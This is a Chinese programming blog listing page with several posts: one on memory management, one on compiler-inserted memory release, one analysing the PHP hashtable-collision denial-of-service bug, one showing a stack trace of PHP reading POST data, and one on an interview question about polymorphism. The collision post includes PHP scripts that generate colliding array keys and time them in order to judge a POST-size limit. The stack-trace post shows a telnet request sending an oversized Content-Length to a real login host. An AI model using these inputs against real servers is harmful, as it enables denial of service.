在C语言中,如果存在malloc,则一定要有free,否则就会产生内存泄露;而且你还不能free两次,否则,程序将直接崩溃。
写PHP程序就比较方便了,你甚至不需要初始化变量,你从来也不用考虑内存回收的问题,但是缺点就是PHP的效率相比C来讲就低多了。

我不知道这种比较是否恰当,我想说的是,有一种内存回收是必须显示地、手动地;有一种内存回收是程序自动探测的。前者效率高很多,但是程序开发的效率就很低了;后者开发效率高,但是程序运行效率低。

后来才发现还有第三种方案: 写程序的时候,你不需要显示地、手动地去释放内存,编译器在编译期间会发现什么地方需要释放内存,自动的将释放内存的代码插进去; 这样的话,开发效率高了,执行效率也高了,编译的时候慢了一些(我们可能不太关心这个)。从文章 http://www.programmer.com.cn/9436/ 来看,object-c的编译器有这个功能; 我想,编译器能做到这种地步,也够煞费苦心的,而且我真的不敢相信编译器不会猜错。

by phpor | 不指定 2012/01/02 13:52 | 程序设计 | 评论(0) | 引用(0) | 阅读(4895)

bug描述: http://www.laruence.com/2011/12/29/2412.html
相关资料: http://nikic.github.com/2011/12/28/Supercolliding-a-PHP-array.html

就像上面资料中提到的,构造hash冲突是利用了PHP Hashtable对数值key的简单处理实现的。如果用字符串key来构造hash冲突,似乎就比较麻烦了; 严格地将,这个和PHP中的hash算法没有必然联系,对于字符串key是通过hash函数计算出一个无符号整型数然后和Hashtable的size取模的,而对于数字key是直接使用该数字与Hashtable的size取模的。

有些同学通过限制post数据的大小来从一定程度上环节带来的危害,限制post数据大小为不超过100k,下面来分析一下这个数字是否够用:
脚本1:
 
  1. <?php
  2. $size = pow(2, 15); // 可以通过第二个参数来改变提交的数据量的大小
  3. $data = '';
  4. for ($key=0, $maxkey=($size-1) * $size$key<= $maxkey$key+=$size) {
  5. $data .= $key.'=&';
  6.     $i++;
  7. }
  8. echo "key num: $i \n";
  9. echo "data length:"strlen($data);
通过这个脚本来得出key的多少和对应的数据量。

脚本2:
 
  1. <?php
  2. $size = pow(2, 15); // 16 is just an example, could also be 15 or 17
  3. $startTime = microtime(true);
  4. $array = array();
  5. for ($key = 0, $maxKey = ($size - 1) * $size$key <= $maxKey$key += $size) {
  6.         $array[$key] = 0;
  7. }
  8. $endTime = microtime(true);
  9. echo 'Inserting '$size' evil elements took '$endTime - $startTime' seconds'"\n";
  10. $startTime = microtime(true);
  11. $array = array();
  12. for ($key = 0, $maxKey = $size - 1; $key <= $maxKey; ++$key) {
  13.         $array[$key] = 0;
  14. }
  15. $endTime = microtime(true);
  16. echo 'Inserting '$size' good elements took '$endTime - $startTime' seconds'"\n";
通过这个脚本可以得出key的多少和相应消耗的时间。

80k的数据就可以构造8000 个key,耗费cpu时间大约不到2s;

360k的数据可以构造3.2万个key,耗费cpu时间大约30多s;

 

看来限制 100k 的数据还是非常有效的。

关于该bug的修复,官方给出了补丁,允许限制post数据的个数; 那么GET数据和Cookie数据会不会有这个问题呢?答案是不会的,我们可以从apache的源码中找到答案:



关于PHP Hashtable的更多参考资料:
http://www.qingliangcn.com/2009/07/php%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90%E4%B9%8Bhashtable/
http://www.phpchina.com/index.php?action-viewthread-tid-88505

---------------------
关于PHP Hashtable的几点提示:
1. Hashtable的最小大小为8 ,如果元素个数为9,则大小重新调整为16,每次调整都要遍历所有元素,重新计算hash值
2. 数值key不做hash,直接和Hashtable 的size取模
3. nNextFreeElement 用于数字索引的计数,其值为当前数字索引值加1,初始值为0
4. pNext, pLast 是hash冲突时的冲突链表的双向指针
5. PListNext, pListLast 是用于遍历数组的双向链表指针
6. pInternalPointer  是用于遍历数组的一个位置指针



by phpor | 不指定 2012/01/02 02:16 | 数据存储 » PHP | 评论(0) | 引用(0) | 阅读(3257)

PHP POST数组的初始化,下面的堆栈是我的PHP程序正在读POST的数据的时候打出来的:

# gstack 13339
#0  0x003aa7a2 in _dl_sysinfo_int80 () from /lib/ld-linux.so.2
#1  0x0048b12d in poll () from /lib/tls/libc.so.6
#2  0x00762558 in apr_wait_for_io_or_timeout ()
#3  0x0075bba4 in apr_socket_recv () from /data1/apache2/lib/libapr-1.so.0
#4  0x00e3d840 in socket_bucket_read ()
#5  0x08072668 in ap_core_input_filter ()
#6  0x00b21ad5 in logio_in_filter () from /data1/apache2/modules/mod_logio.so
#7  0x0807f634 in ap_http_filter ()
#8  0x013496e8 in php_apache_sapi_read_post ()
#9  0x0129399a in sapi_deactivate () from /data1/apache2/modules/libphp5.so
#10 0x0128cae6 in php_request_shutdown ()
#11 0x0134a1ca in php_handler () from /data1/apache2/modules/libphp5.so
#12 0x08073dea in ap_run_handler ()
#13 0x080741bf in ap_invoke_handler ()
#14 0x0807ee55 in ap_process_request ()
#15 0x0807c8c9 in ap_process_http_connection ()
#16 0x08079762 in ap_run_process_connection ()
#17 0x08082a6e in child_main ()
#18 0x08082c46 in make_child ()
#19 0x080837cd in ap_mpm_run ()
#20 0x08063de4 in main ()
-----------------------
# telnet 10.55.38.14 80
Trying 10.55.38.14...
Connected to 10.55.38.14 (10.55.38.14).
Escape character is '^]'.
POST /sso/login.php HTTP/1.1
host: login.sina.com.cn
content-length: 1000000000

aaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaa
by phpor | 不指定 2011/12/30 22:21 | Linux & Unix | 评论(0) | 引用(0) | 阅读(1420)

时间过的好快,可怕的春节就在眼前了,不知道如何是好。


by phpor | 不指定 2011/12/27 23:59 | 心情随笔 | 评论(0) | 引用(0) | 阅读(1120)

偶一次,和一两个同事一起面试一个MM,鉴于MM几乎没有工作经验,但是至少是计算机专业的,我只想了解一下她的基础知识掌握的如何,我问了一下面向对象的三个基本特征;她回答道: 封装、继承和多态。

其实,封装、继承基本没什么不好理解的,但是多态却经常有人不理解。而且我也没想提问这个。我的一个同事A却提了个问题:PHP支持多态吗?PHP中的多态如何实现?

MM没能回答上来,我想,如果不是特别清楚的话,现在一定是要回答不上来的,因为面试官已经开始错了。同事A接着便自信地说:其实PHP不支持多态,但是实现起来却也很简单。我知道同事A错了,但是我对这个概念也有一些模糊了,便不想揭穿他,自己就默不作声,任由他们讨论。令我羞愧的是,另一同事B也和他们一起说起默认参数和几个参数的问题了,我彻底无语。不怕你不懂,就怕你错了还不知道自己错了。

多态不是重载,重载也不是覆盖;面向对象中,如果不能区分多态、重载、覆盖这几个概念,那么面向对象就是没有学好。

我们说:
  1.     我有一个函数move(animal),有一个参数是"动物“;如果你给的参数是老鹰,那么该函数表现出来的形态就是fly;如果你给的参数是小鸡,那么该函数表现出来的形态就是run; 这个叫多态(Polymorphism)。多态在C++中是通过虚函数来实现的,如果你是学C++的,你不了解虚函数,那么你一定不了解多态。
  2.     有多个可以接受不同个数、或类型的参数的同名函数,那么这个叫重载(  overload)。
  3.     如果子类定义了和父类完全相同的方法,那么这个叫覆盖

但愿我说明白了,参考文档:
  • http://baike.baidu.com/view/126521.htm
  • http://baike.baidu.com/view/126530.htm
by phpor | 不指定 2011/12/27 23:00 | 程序设计 | 评论(0) | 引用(0) | 阅读(1094)
分页: 3/184 第一页 上页 1 2 3 4 5 6 7 8 9 10 下页 最后页 [ 显示模式: 摘要 | 列表 ]